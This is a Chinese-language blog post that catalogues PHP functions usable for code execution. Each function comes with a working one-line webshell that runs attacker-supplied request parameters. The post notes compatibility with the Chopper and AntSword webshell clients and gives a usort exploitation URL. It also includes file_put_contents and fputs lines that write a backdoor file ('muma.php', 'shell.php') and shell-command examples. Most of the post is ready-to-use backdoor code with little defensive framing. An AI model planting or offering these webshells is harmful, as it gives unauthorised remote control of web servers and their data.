前言
大家好,我是阿里斯,一名IT行業小白。非常抱歉,昨天的內容出現瑕疵比較多,今天重新整理后再次發出,修改并添加了細節,另增加了常見的命令執行函數如果哪里不足,還請各位表哥指出。
eval和assert的區別
eval特點
eval()會把字符串按照php代碼來執行(合法的php代碼,以分號結尾)
eval()是一個語言構造器,不能被可變函數調用
eval($_REQUEST[1]); #eval一句話木馬使用方式$_POST['1']($_POST['2'])???#這里我們使用可變函數,參數1傳入eval會不可用
assert特點
把字符串當做php代碼去執行,這里對字符串的要求嗎,沒有eval嚴格
assert在php7.0也不再是函數,變成了語言結構(不能使用可變函數了)
函數
eval()
$a = $_POST['cmd1'];
eval($a);
assert()
assert($_REQUEST['a']); #11年,16年的菜刀可以使用
# 參考鏈接 https://www.freebuf.com/articles/web/56616.html
preg_replace()
這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行
preg_replace('/asd/e', $_POST['a'], 'asdfasdg');
# 14年的菜刀不行 蟻劍報錯
# php5.5后開始棄用/e模式,但是經過測試11的菜刀配合php5.6還可以使用
create_function()
create_function()創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞給create_function()執行任意命令。
create_function的實現步驟:
1. 獲取參數, 函數體;
2. 拼湊一個"function __lambda_func (參數) { 函數體;} "的字符串;
3. eval;
4. 通過\_\_lambda_func在函數表中找到eval后得到的函數體, 找不到就出錯;
5. 定義一個函數名:"\000_lambda_" . count(anonymous_functions)++;
6. 用新的函數名替換__lambda_func;
7. 返回新的函數。
8. 參考鏈接 https://www.t00ls.net/articles-20774.html
$func = create_function('', $_POST['cmd']);
$func();
call_user_func()
把第一個參數作為回調函數調用,其余參數是回調函數的參數。
call_user_func('assert', $_REQUEST['cmd']);
# 經過測試php7.0已失效
call_user_func_array()
調用回調函數,并把一個數組參數作為回調函數的參數
$cmd = $_REQUEST['cmd'];
$arr[0] = $cmd;
call_user_func_array('assert', $arr);
# 7.0 php測試失敗
array_filter()
第一個參數為數組,第二個參數為回調函數。這個函數的作用就是將array數組中的每個值傳遞給回調函數做參數。
$cmd = $_REQUEST['cmd'];
$arr = array($cmd);
$func = $_REQUEST['func'];
array_filter($arr, $func);
# 經過測試php7.0失效
usort()
函數執行的時候,會依次把$a中的兩個值,傳遞給名字為my_sort函數中,所以你會看到my_sort有兩個形參
參考鏈接http://www.am0s.com/functions/97.html
usort(...$_GET);
# php5.6以上7.0以下有效
#利用方式
#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
#x=phpinfo();
file_put_contents()
把一個字符串寫入文件中,在瀏覽器訪問這個文件會生成相應的木馬文件。
$ma = '<?php eval($_REQUEST[cmd]);?>';#這里一定要使用單引號雙引號會把$_REQUEST[]當作變量使用
file_put_contents('muma.php', $ma);
fputs()
同上
fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');
動態函數
$_GET['a']($_POST['b']);
array_map()
array_map($_GET[func], array($_POST[cmd]));
命令執行函數(常見)
system()
將字符串當作shell命令執行,返回最后一行shell命令的執行結果
system('whoami');
passthru()
調用shell命令,把命令的執行結果輸出到標準輸出設備上
passthru('whoami')
exec()
不輸出結果,返回shell命令執行結果的最后一行
print(exec('whoami'));
shell_exec()
不輸出結果,返回shell命令執行的所有結果
print(shell_exec('whoami?&&?dir'));
反引號``
加了反引號的字符串將嘗試作為外殼命令來執行,并將奇輸出信息返回。
print(`whoami`);
結語
歡迎各位轉發點再看,感激不盡!